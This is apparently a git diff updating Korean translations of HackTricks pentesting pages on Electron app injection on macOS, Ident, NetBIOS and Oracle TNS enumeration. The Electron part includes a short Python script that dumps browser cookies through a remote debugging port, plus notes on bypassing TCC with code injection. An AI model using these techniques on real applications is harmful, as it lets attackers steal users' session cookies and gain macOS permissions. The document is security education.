**`--inspect`**, **`--inspect-brk`** ๋ฐ **`--remote-debugging-port`**์™€ ๊ฐ™์€ ํ”Œ๋ž˜๊ทธ๋กœ Electron ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‹คํ–‰ํ•˜๋ฉด **๋””๋ฒ„๊ทธ ํฌํŠธ๊ฐ€ ์—ด๋ฆฌ๊ฒŒ** ๋˜์–ด ์ด๋ฅผ ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์˜ˆ: `chrome://inspect`์˜ Chrome์—์„œ) ๊ทธ๋ฆฌ๊ณ  **์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜** ์žˆ๊ฑฐ๋‚˜ ์‹ฌ์ง€์–ด ์ƒˆ๋กœ์šด ํ”„๋กœ์„ธ์Šค๋ฅผ ์‹œ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ +According to [**this**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), if you execute an Electron application with flags such as **`--inspect`**, **`--inspect-brk`** and **`--remote-debugging-port`**, a **debug port will be open** so you can connect to it (for example from Chrome in `chrome://inspect`) and you will be able to **inject code on it** or even launch new processes.\ ์˜ˆ๋ฅผ ๋“ค์–ด: ```bash /Applications/Signal.app/Contents/MacOS/Signal --inspect=9229 @@ -157,9 +157,9 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/ > [!CAUTION] > ๋งŒ์•ฝ ํ“จ์ฆˆ **`EnableNodeCliInspectArguments`**๊ฐ€ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋‹ค๋ฉด, ์•ฑ์€ **๋…ธ๋“œ ๋งค๊ฐœ๋ณ€์ˆ˜**(์˜ˆ: `--inspect`)๋ฅผ ๋ฌด์‹œํ•˜๊ณ  ์‹คํ–‰๋˜๋ฉฐ, ํ™˜๊ฒฝ ๋ณ€์ˆ˜ **`ELECTRON_RUN_AS_NODE`**๊ฐ€ ์„ค์ •๋˜์ง€ ์•Š๋Š” ํ•œ ๋ฌด์‹œ๋ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ ํ“จ์ฆˆ **`RunAsNode`**๊ฐ€ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฉด ์ด ๋ณ€์ˆ˜๋„ **๋ฌด์‹œ๋ฉ๋‹ˆ๋‹ค**. > -> ๊ทธ๋Ÿฌ๋‚˜ **electron ๋งค๊ฐœ๋ณ€์ˆ˜ `--remote-debugging-port=9229`**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ Electron ์•ฑ์—์„œ **ํžˆ์Šคํ† ๋ฆฌ**(GET ๋ช…๋ น์–ด๋กœ)๋‚˜ ๋ธŒ๋ผ์šฐ์ €์˜ **์ฟ ํ‚ค**๋ฅผ ํ›”์น  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(๋ธŒ๋ผ์šฐ์ € ๋‚ด์—์„œ **๋ณตํ˜ธํ™”**๋˜๋ฉฐ, ์ด๋ฅผ ์ œ๊ณตํ•˜๋Š” **json ์—”๋“œํฌ์ธํŠธ**๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค). +> ๊ทธ๋Ÿฌ๋‚˜ **electron ๋งค๊ฐœ๋ณ€์ˆ˜ `--remote-debugging-port=9229`**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ Electron ์•ฑ์—์„œ **ํžˆ์Šคํ† ๋ฆฌ**(GET ๋ช…๋ น์–ด๋กœ)๋‚˜ **๋ธŒ๋ผ์šฐ์ €์˜ ์ฟ ํ‚ค**๋ฅผ ํ›”์น  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(๋ธŒ๋ผ์šฐ์ € ๋‚ด์—์„œ **๋ณตํ˜ธํ™”**๋˜๋ฉฐ, ์ด๋ฅผ ์ œ๊ณตํ•˜๋Š” **json ์—”๋“œํฌ์ธํŠธ**๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค). -์ด ๋ฐฉ๋ฒ•์— ๋Œ€ํ•ด ๋ฐฐ์šฐ๋ ค๋ฉด [**์—ฌ๊ธฐ**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)์™€ [**์—ฌ๊ธฐ**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)๋ฅผ ์ฐธ์กฐํ•˜๊ณ  ์ž๋™ ๋„๊ตฌ [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) ๋˜๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฐ„๋‹จํ•œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์ด ๋ฐฉ๋ฒ•์— ๋Œ€ํ•ด์„œ๋Š” [**์—ฌ๊ธฐ**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)์™€ [**์—ฌ๊ธฐ**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)์—์„œ ๋ฐฐ์šธ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ž๋™ ๋„๊ตฌ [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut)์ด๋‚˜ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฐ„๋‹จํ•œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```python import websocket ws = websocket.WebSocket() @@ -167,7 +167,7 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}') print(ws.recv() ``` -์ด [**๋ธ”๋กœ๊ทธ ํฌ์ŠคํŠธ**](https://hackerone.com/reports/1274695)์—์„œ๋Š” ์ด ๋””๋ฒ„๊น…์„ ์•…์šฉํ•˜์—ฌ ํ—ค๋“œ๋ฆฌ์Šค ํฌ๋กฌ์ด **์ž„์˜์˜ ํŒŒ์ผ์„ ์ž„์˜์˜ ์œ„์น˜์— ๋‹ค์šด๋กœ๋“œ**ํ•˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. +In [**this blogpost**](https://hackerone.com/reports/1274695), ์ด ๋””๋ฒ„๊น…์„ ์•…์šฉํ•˜์—ฌ ํ—ค๋“œ๋ฆฌ์Šค ํฌ๋กฌ์ด **์ž„์˜์˜ ํŒŒ์ผ์„ ์ž„์˜์˜ ์œ„์น˜์— ๋‹ค์šด๋กœ๋“œ**ํ•˜๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ### ์•ฑ plist์—์„œ์˜ ์ฃผ์ž… @@ -188,7 +188,7 @@ print(ws.recv() ## TCC ์šฐํšŒ ๊ตฌ๋ฒ„์ „ ์•…์šฉ > [!TIP] -> macOS์˜ TCC ๋ฐ๋ชฌ์€ ์‹คํ–‰๋œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ฒ„์ „์„ ํ™•์ธํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ **์ด์ „ ๊ธฐ์ˆ ๋กœ Electron ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ** APP์˜ ์ด์ „ ๋ฒ„์ „์„ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ  ๊ทธ ์œ„์— ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ์—ฌ์ „ํžˆ TCC ๊ถŒํ•œ์„ ๋ฐ›์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(Trust Cache๊ฐ€ ์ด๋ฅผ ๋ฐฉ์ง€ํ•˜์ง€ ์•Š๋Š” ํ•œ). +> macOS์˜ TCC ๋ฐ๋ชฌ์€ ์‹คํ–‰๋œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ฒ„์ „์„ ํ™•์ธํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ **์ด์ „ ๊ธฐ์ˆ ๋กœ Electron ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ** ์ด์ „ ๋ฒ„์ „์˜ APP๋ฅผ ๋‹ค์šด๋กœ๋“œํ•˜์—ฌ ๊ทธ ์œ„์— ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ์—ฌ์ „ํžˆ TCC ๊ถŒํ•œ์„ ๋ฐ›์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(Trust Cache๊ฐ€ ์ด๋ฅผ ๋ฐฉ์ง€ํ•˜์ง€ ์•Š๋Š” ํ•œ). ## ๋น„ JS ์ฝ”๋“œ ์‹คํ–‰ diff --git a/src/network-services-pentesting/113-pentesting-ident.md b/src/network-services-pentesting/113-pentesting-ident.md index 9c469f83e..570490651 100644 --- a/src/network-services-pentesting/113-pentesting-ident.md +++ b/src/network-services-pentesting/113-pentesting-ident.md @@ -2,11 +2,11 @@ {{#include ../banners/hacktricks-training.md}} -## ๊ธฐ๋ณธ ์ •๋ณด +## Basic Information -**Ident ํ”„๋กœํ† ์ฝœ**์€ **์ธํ„ฐ๋„ท**์„ ํ†ตํ•ด **TCP ์—ฐ๊ฒฐ**์„ ํŠน์ • ์‚ฌ์šฉ์ž์™€ ์—ฐ๊ฒฐํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์›๋ž˜ **๋„คํŠธ์›Œํฌ ๊ด€๋ฆฌ** ๋ฐ **๋ณด์•ˆ**์„ ์ง€์›ํ•˜๊ธฐ ์œ„ํ•ด ์„ค๊ณ„๋˜์—ˆ์œผ๋ฉฐ, ์„œ๋ฒ„๊ฐ€ ํฌํŠธ 113์—์„œ ํด๋ผ์ด์–ธํŠธ์—๊ฒŒ ์ฟผ๋ฆฌํ•˜์—ฌ ํŠน์ • TCP ์—ฐ๊ฒฐ์˜ ์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์š”์ฒญํ•  ์ˆ˜ ์žˆ๋„๋ก ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. +**Ident Protocol**๋Š” **์ธํ„ฐ๋„ท**์„ ํ†ตํ•ด **TCP ์—ฐ๊ฒฐ**์„ ํŠน์ • ์‚ฌ์šฉ์ž์™€ ์—ฐ๊ฒฐํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์›๋ž˜ **๋„คํŠธ์›Œํฌ ๊ด€๋ฆฌ** ๋ฐ **๋ณด์•ˆ**์„ ๋•๊ธฐ ์œ„ํ•ด ์„ค๊ณ„๋˜์—ˆ์œผ๋ฉฐ, ์„œ๋ฒ„๊ฐ€ ํฌํŠธ 113์—์„œ ํด๋ผ์ด์–ธํŠธ์—๊ฒŒ ์ฟผ๋ฆฌํ•˜์—ฌ ํŠน์ • TCP ์—ฐ๊ฒฐ์˜ ์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์š”์ฒญํ•  ์ˆ˜ ์žˆ๋„๋ก ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. -๊ทธ๋Ÿฌ๋‚˜ ํ˜„๋Œ€์˜ ๊ฐœ์ธ ์ •๋ณด ๋ณดํ˜ธ ๋ฌธ์ œ์™€ ์˜ค์šฉ ๊ฐ€๋Šฅ์„ฑ์œผ๋กœ ์ธํ•ด, ๋ฌด๋‹จ ๋‹น์‚ฌ์ž์—๊ฒŒ ์‚ฌ์šฉ์ž ์ •๋ณด๋ฅผ ๋ฌด์‹ฌ์ฝ” ๋…ธ์ถœํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์‚ฌ์šฉ์ด ๊ฐ์†Œํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์œ„ํ—˜์„ ์™„ํ™”ํ•˜๊ธฐ ์œ„ํ•ด ์•”ํ˜ธํ™”๋œ ์—ฐ๊ฒฐ ๋ฐ ์—„๊ฒฉํ•œ ์ ‘๊ทผ ์ œ์–ด์™€ ๊ฐ™์€ ๊ฐ•ํ™”๋œ ๋ณด์•ˆ ์กฐ์น˜๋ฅผ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค. +๊ทธ๋Ÿฌ๋‚˜ ํ˜„๋Œ€์˜ ๊ฐœ์ธ ์ •๋ณด ๋ณดํ˜ธ ๋ฌธ์ œ์™€ ์˜ค์šฉ ๊ฐ€๋Šฅ์„ฑ์œผ๋กœ ์ธํ•ด, ๋ฌด๋‹จ ๋‹น์‚ฌ์ž์—๊ฒŒ ์‚ฌ์šฉ์ž ์ •๋ณด๋ฅผ ์šฐ์—ฐํžˆ ๋…ธ์ถœํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์‚ฌ์šฉ์ด ๊ฐ์†Œํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์œ„ํ—˜์„ ์™„ํ™”ํ•˜๊ธฐ ์œ„ํ•ด ์•”ํ˜ธํ™”๋œ ์—ฐ๊ฒฐ ๋ฐ ์—„๊ฒฉํ•œ ์ ‘๊ทผ ์ œ์–ด์™€ ๊ฐ™์€ ๊ฐ•ํ™”๋œ ๋ณด์•ˆ ์กฐ์น˜๋ฅผ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค. **๊ธฐ๋ณธ ํฌํŠธ:** 113 ``` @@ -25,7 +25,7 @@ PORT STATE SERVICE ![](<../images/image (159).png>) -๊ธฐํƒ€ ์˜ค๋ฅ˜: +๋‹ค๋ฅธ ์˜ค๋ฅ˜: ![](<../images/image (359).png>) @@ -62,11 +62,11 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum ) - `oident` -## ํŒŒ์ผ +## Files identd.conf -## HackTricks ์ž๋™ ๋ช…๋ น +## HackTricks Automatic Commands ``` Protocol_Name: Ident #Protocol Abbreviation if there is one. Port_Number: 113 #Comma separated if there is more than one. @@ -78,7 +78,7 @@ Description: Notes for Ident Note: | The Ident Protocol is used over the Internet to associate a TCP connection with a specific user. Originally designed to aid in network management and security, it operates by allowing a server to query a client on port 113 to request information about the user of a particular TCP connection. -https://book.hacktricks.xyz/pentesting/113-pentesting-ident +https://book.hacktricks.wiki/en/network-services-pentesting/113-pentesting-ident.html Entry_2: Name: Enum Users diff --git a/src/network-services-pentesting/137-138-139-pentesting-netbios.md b/src/network-services-pentesting/137-138-139-pentesting-netbios.md index d4c9efab3..4cbf15cb1 100644 --- a/src/network-services-pentesting/137-138-139-pentesting-netbios.md +++ b/src/network-services-pentesting/137-138-139-pentesting-netbios.md @@ -2,9 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -## NetBios ์ด๋ฆ„ ์„œ๋น„์Šค +## NetBios Name Service -**NetBIOS ์ด๋ฆ„ ์„œ๋น„์Šค**๋Š” **์ด๋ฆ„ ๋“ฑ๋ก ๋ฐ ํ•ด์ƒ๋„**, **๋ฐ์ดํ„ฐ๊ทธ๋žจ ๋ฐฐํฌ**, **์„ธ์…˜ ์„œ๋น„์Šค**์™€ ๊ฐ™์€ ๋‹ค์–‘ํ•œ ์„œ๋น„์Šค๋ฅผ ํฌํ•จํ•˜์—ฌ ์ค‘์š”ํ•œ ์—ญํ• ์„ ํ•˜๋ฉฐ, ๊ฐ ์„œ๋น„์Šค์— ๋Œ€ํ•ด ํŠน์ • ํฌํŠธ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. +**NetBIOS Name Service**๋Š” **์ด๋ฆ„ ๋“ฑ๋ก ๋ฐ ํ•ด์ƒ๋„**, **๋ฐ์ดํ„ฐ๊ทธ๋žจ ๋ฐฐํฌ**, **์„ธ์…˜ ์„œ๋น„์Šค**์™€ ๊ฐ™์€ ๋‹ค์–‘ํ•œ ์„œ๋น„์Šค๋ฅผ ํฌํ•จํ•˜์—ฌ ์ค‘์š”ํ•œ ์—ญํ• ์„ ํ•˜๋ฉฐ, ๊ฐ ์„œ๋น„์Šค์— ๋Œ€ํ•ด ํŠน์ • ํฌํŠธ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. [From Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP): @@ -12,7 +12,7 @@ - ์—ฐ๊ฒฐ ์—†๋Š” ํ†ต์‹ ์„ ์œ„ํ•œ ๋ฐ์ดํ„ฐ๊ทธ๋žจ ๋ฐฐํฌ ์„œ๋น„์Šค (ํฌํŠธ: 138/udp). - ์—ฐ๊ฒฐ ์ง€ํ–ฅ ํ†ต์‹ ์„ ์œ„ํ•œ ์„ธ์…˜ ์„œ๋น„์Šค (ํฌํŠธ: 139/tcp). -### ์ด๋ฆ„ ์„œ๋น„์Šค +### Name Service ์žฅ์น˜๊ฐ€ NetBIOS ๋„คํŠธ์›Œํฌ์— ์ฐธ์—ฌํ•˜๋ ค๋ฉด ๊ณ ์œ ํ•œ ์ด๋ฆ„์„ ๊ฐ€์ ธ์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” "์ด๋ฆ„ ์ฟผ๋ฆฌ" ํŒจํ‚ท์ด ์ „์†ก๋˜๋Š” **๋ธŒ๋กœ๋“œ์บ์ŠคํŠธ ํ”„๋กœ์„ธ์Šค**๋ฅผ ํ†ตํ•ด ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค. ์ด์˜ ์ œ๊ธฐ๊ฐ€ ์—†์œผ๋ฉด ์ด๋ฆ„์€ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๊ฒƒ์œผ๋กœ ๊ฐ„์ฃผ๋ฉ๋‹ˆ๋‹ค. ๋˜๋Š” **์ด๋ฆ„ ์„œ๋น„์Šค ์„œ๋ฒ„**์— ์ง์ ‘ ์ฟผ๋ฆฌํ•˜์—ฌ ์ด๋ฆ„์˜ ๊ฐ€์šฉ์„ฑ์„ ํ™•์ธํ•˜๊ฑฐ๋‚˜ ์ด๋ฆ„์„ IP ์ฃผ์†Œ๋กœ ํ•ด์„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. `nmblookup`, `nbtscan`, `nmap`๊ณผ ๊ฐ™์€ ๋„๊ตฌ๋Š” NetBIOS ์„œ๋น„์Šค๋ฅผ ์—ด๊ฑฐํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜์–ด ์„œ๋ฒ„ ์ด๋ฆ„๊ณผ MAC ์ฃผ์†Œ๋ฅผ ๋“œ๋Ÿฌ๋ƒ…๋‹ˆ๋‹ค. ```bash @@ -34,11 +34,11 @@ PORT STATE SERVICE VERSION ``` ### ์„ธ์…˜ ์„œ๋น„์Šค -์—ฐ๊ฒฐ ์ง€ํ–ฅ ์ƒํ˜ธ์ž‘์šฉ์„ ์œ„ํ•ด, **์„ธ์…˜ ์„œ๋น„์Šค**๋Š” ๋‘ ์žฅ์น˜ ๊ฐ„์˜ ๋Œ€ํ™”๋ฅผ ์ด‰์ง„ํ•˜๋ฉฐ, **TCP** ์—ฐ๊ฒฐ์„ ํ†ตํ•ด ํฌํŠธ **139/tcp**๋ฅผ ํ™œ์šฉํ•ฉ๋‹ˆ๋‹ค. ์„ธ์…˜์€ "์„ธ์…˜ ์š”์ฒญ" ํŒจํ‚ท์œผ๋กœ ์‹œ์ž‘๋˜๋ฉฐ, ์‘๋‹ต์— ๋”ฐ๋ผ ์„ค์ •๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์„œ๋น„์Šค๋Š” ๋” ํฐ ๋ฉ”์‹œ์ง€, ์˜ค๋ฅ˜ ๊ฐ์ง€ ๋ฐ ๋ณต๊ตฌ๋ฅผ ์ง€์›ํ•˜๋ฉฐ, TCP๋Š” ํ๋ฆ„ ์ œ์–ด ๋ฐ ํŒจํ‚ท ์žฌ์ „์†ก์„ ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค. +์—ฐ๊ฒฐ ์ง€ํ–ฅ ์ƒํ˜ธ์ž‘์šฉ์„ ์œ„ํ•ด, **Session Service**๋Š” ๋‘ ์žฅ์น˜ ๊ฐ„์˜ ๋Œ€ํ™”๋ฅผ ์ด‰์ง„ํ•˜๋ฉฐ, **TCP** ์—ฐ๊ฒฐ์„ ํ†ตํ•ด ํฌํŠธ **139/tcp**๋ฅผ ํ™œ์šฉํ•ฉ๋‹ˆ๋‹ค. ์„ธ์…˜์€ "Session Request" ํŒจํ‚ท์œผ๋กœ ์‹œ์ž‘๋˜๋ฉฐ, ์‘๋‹ต์— ๋”ฐ๋ผ ์„ค์ •๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์„œ๋น„์Šค๋Š” ๋” ํฐ ๋ฉ”์‹œ์ง€, ์˜ค๋ฅ˜ ๊ฐ์ง€ ๋ฐ ๋ณต๊ตฌ๋ฅผ ์ง€์›ํ•˜๋ฉฐ, TCP๋Š” ํ๋ฆ„ ์ œ์–ด ๋ฐ ํŒจํ‚ท ์žฌ์ „์†ก์„ ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค. -์„ธ์…˜ ๋‚ด ๋ฐ์ดํ„ฐ ์ „์†ก์€ **์„ธ์…˜ ๋ฉ”์‹œ์ง€ ํŒจํ‚ท**์„ ํฌํ•จํ•˜๋ฉฐ, ์„ธ์…˜์€ TCP ์—ฐ๊ฒฐ์„ ๋‹ซ์Œ์œผ๋กœ์จ ์ข…๋ฃŒ๋ฉ๋‹ˆ๋‹ค. +์„ธ์…˜ ๋‚ด ๋ฐ์ดํ„ฐ ์ „์†ก์€ **Session Message packets**๋ฅผ ํฌํ•จํ•˜๋ฉฐ, ์„ธ์…˜์€ TCP ์—ฐ๊ฒฐ์„ ๋‹ซ์Œ์œผ๋กœ์จ ์ข…๋ฃŒ๋ฉ๋‹ˆ๋‹ค. -์ด ์„œ๋น„์Šค๋Š” **NetBIOS** ๊ธฐ๋Šฅ์— ํ•„์ˆ˜์ ์ด๋ฉฐ, ๋„คํŠธ์›Œํฌ ์ „๋ฐ˜์— ๊ฑธ์ณ ํšจ์œจ์ ์ธ ํ†ต์‹  ๋ฐ ์ž์› ๊ณต์œ ๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. TCP ๋ฐ IP ํ”„๋กœํ† ์ฝœ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š” ๊ฐ๊ฐ์˜ [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) ๋ฐ [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol) ํŽ˜์ด์ง€๋ฅผ ์ฐธ์กฐํ•˜์‹ญ์‹œ์˜ค. +์ด ์„œ๋น„์Šค๋Š” **NetBIOS** ๊ธฐ๋Šฅ์— ํ•„์ˆ˜์ ์ด๋ฉฐ, ๋„คํŠธ์›Œํฌ ์ „๋ฐ˜์— ๊ฑธ์ณ ํšจ์œจ์ ์ธ ํ†ต์‹  ๋ฐ ์ž์› ๊ณต์œ ๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. TCP ๋ฐ IP ํ”„๋กœํ† ์ฝœ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ ๊ฐ๊ฐ์˜ [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) ๋ฐ [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol) ํŽ˜์ด์ง€๋ฅผ ์ฐธ์กฐํ•˜์‹ญ์‹œ์˜ค. ```bash PORT STATE SERVICE VERSION 139/tcp open netbios-ssn Microsoft Windows netbios-ssn @@ -65,7 +65,7 @@ Session service for connection-oriented communication (port: 139/tcp). For a device to participate in a NetBIOS network, it must have a unique name. This is achieved through a broadcast process where a "Name Query" packet is sent. If no objections are received, the name is considered available. Alternatively, a Name Service server can be queried directly to check for name availability or to resolve a name to an IP address. -https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios +https://book.hacktricks.wiki/en/network-services-pentesting/137-138-139-pentesting-netbios.html Entry_2: Name: Find Names diff --git a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md index 42a219301..8ae62e05c 100644 --- a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md +++ b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md @@ -4,9 +4,9 @@ ## ๊ธฐ๋ณธ ์ •๋ณด -Oracle ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค (Oracle DB)๋Š” Oracle Corporation์˜ ๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๊ด€๋ฆฌ ์‹œ์Šคํ…œ (RDBMS)์ž…๋‹ˆ๋‹ค (from [here](https://www.techopedia.com/definition/8711/oracle-database)). +Oracle ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค(Oracle DB)๋Š” Oracle Corporation์˜ ๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๊ด€๋ฆฌ ์‹œ์Šคํ…œ(RDBMS)์ž…๋‹ˆ๋‹ค(์ž์„ธํ•œ ๋‚ด์šฉ์€ [์—ฌ๊ธฐ](https://www.techopedia.com/definition/8711/oracle-database)์—์„œ ํ™•์ธํ•˜์„ธ์š”). -Oracle์„ ์—ด๊ฑฐํ•  ๋•Œ ์ฒซ ๋ฒˆ์งธ ๋‹จ๊ณ„๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ๊ธฐ๋ณธ ํฌํŠธ (1521/TCP)์— ์œ„์น˜ํ•œ TNS-Listener์™€ ๋Œ€ํ™”ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค (-1522โ€“1529์—์„œ ๋ณด์กฐ ๋ฆฌ์Šค๋„ˆ๋ฅผ ์–ป์„ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค-). +Oracle์„ ์—ด๊ฑฐํ•  ๋•Œ ์ฒซ ๋ฒˆ์งธ ๋‹จ๊ณ„๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ๊ธฐ๋ณธ ํฌํŠธ(1521/TCP)์— ์œ„์น˜ํ•œ TNS-Listener์™€ ํ†ต์‹ ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค(1522โ€“1529์—์„œ ๋ณด์กฐ ๋ฆฌ์Šค๋„ˆ๋ฅผ ์–ป์„ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค). ``` 1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows) 1748/tcp open oracle-tns Oracle TNS Listener @@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/ for more details check https://github.com/quentinhardy/odat/wiki -https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener +https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html Entry_2: Name: Nmap diff --git a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md index 7f8a986fa..8252a99ed 100644 --- a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md +++ b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md @@ -4,9 +4,9 @@ ## ๊ธฐ๋ณธ ์ •๋ณด -Oracle ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค (Oracle DB)๋Š” Oracle Corporation์˜ ๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๊ด€๋ฆฌ ์‹œ์Šคํ…œ (RDBMS)์ž…๋‹ˆ๋‹ค (์—ฌ๊ธฐ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค [here](https://www.techopedia.com/definition/8711/oracle-database)). +Oracle ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค(Oracle DB)๋Š” Oracle Corporation์˜ ๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๊ด€๋ฆฌ ์‹œ์Šคํ…œ(RDBMS)์ž…๋‹ˆ๋‹ค(์—ฌ๊ธฐ์—์„œ). -Oracle์„ ์—ด๊ฑฐํ•  ๋•Œ ์ฒซ ๋ฒˆ์งธ ๋‹จ๊ณ„๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ๊ธฐ๋ณธ 